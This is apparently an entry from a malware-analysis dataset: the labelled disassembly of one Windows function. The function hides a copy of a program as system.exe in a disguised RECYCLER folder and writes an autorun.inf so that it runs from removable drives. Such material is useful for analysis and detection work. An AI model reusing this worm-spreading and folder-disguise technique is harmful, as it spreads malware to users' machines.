Function at 0x40268e
Capabilities:
Copy file
Create directory
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x510
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x50c], eax
mov edx, dword [esp + 0x514]
mov ecx, 0x200
push ebx
xor ebx, ebx
mov dword [esp + 4], edx
push ebp
mov eax, ebx
push esi
push edi
cmp eax, ecx
jae 0x402ac9
mov byte [esp + eax + 0x18], bl
inc eax
cmp eax, ecx
jb 0x4026c2
mov eax, ebx
cmp eax, ecx
jae 0x402ac9
mov byte [esp + eax + 0x218], bl
inc eax
cmp eax, ecx
jb 0x4026d5
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4026e3
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4026f1
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.RECYCLER
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x40270e
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40271c
mov ecx, edx
mov ebp, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
shr ecx, 2
lea eax, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x402757
call ebx
cmp eax, 0xb7
jne 0x40285c
push 7
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, str.S_1_6_21_2434476501_1644491937_600003330_1213
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x40276b
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402779
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
test eax, eax
jne 0x4027a9
call ebx
cmp eax, 0xb7
jne 0x40285c
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x18]
push 7
push eax
call ebx
mov ebp, str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
mov edx, ebp
mov esi, ebp
mov al, byte [edx]
inc edx
test al, al
jne 0x4027c1
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4027d2
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.Desktop.ini
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4027ef
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4027fd
mov ecx, edx
xor eax, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
push 6
push 2
push eax
push eax
mov ecx, edx
lea eax, [esp + 0x2c]
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 1
jb 0x40285c
mov ecx, ebp
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402838
push 0
lea eax, [esp + 0x18]
sub ecx, edx
push eax
push ecx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x402878
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x51c]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
inc eax
call fcn.00402f0d
add esp, 0x510
ret
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebp
lea ecx, [esp + 0x18]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402887
sub ecx, edx
lea eax, [esp + 0x18]
add eax, ecx
jmp 0x402899
dec eax
cmp byte [eax], 0x5c
jne 0x402898
mov edx, str.system.exe
mov byte [eax + 1], 0
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4028a9
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4028b7
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 1
mov ecx, edx
push eax
and ecx, 3
lea eax, [esp + 0x420]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 7
lea eax, [esp + 0x1c]
push eax
call ebx
xor eax, eax
mov ecx, 0x200
cmp eax, ecx
jae 0x402ac9
mov byte [esp + eax + 0x218], 0
inc eax
cmp eax, ecx
jb 0x4028fa
cmp byte [esp + 0x18], 0x5c
lea edx, [esp + 0x18]
je 0x402918
inc edx
cmp byte [edx], 0x5c
jne 0x402912
mov ebx, str._autorun__r_nopen
inc edx
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x402920
lea edi, [esp + 0x218]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402931
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x40294b
lea edi, [esp + 0x218]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40295c
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, str._r_nicon_SystemRoot__system32SHELL32.dll_4_r_nactionOpen_folder_to_view_files_r_nshellopenOpen_r_nshellopencommand
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x402979
lea edi, [esp + 0x218]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40298a
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4029a2
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4029b3
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str._r_nshellopendefault1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4029d0
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4029e1
mov ecx, edx
xor ebx, ebx
shr ecx, 2
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x200
cmp eax, ecx
jae 0x402ac9
mov byte [esp + eax + 0x18], bl
inc eax
cmp eax, ecx
jb 0x402a08
mov edx, dword [esp + 0x10]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402a17
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402a25
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str._autorun.inf
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402a42
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402a50
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 7
push 2
push ebx
push ebx
push 0x40000000
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 1
jb 0x40285c
lea ecx, [esp + 0x218]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402aa2
push ebx
lea eax, [esp + 0x18]
sub ecx, edx
push eax
push ecx
lea eax, [esp + 0x224]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call ebp
jmp 0x40285c
call fcn.0040303d
int3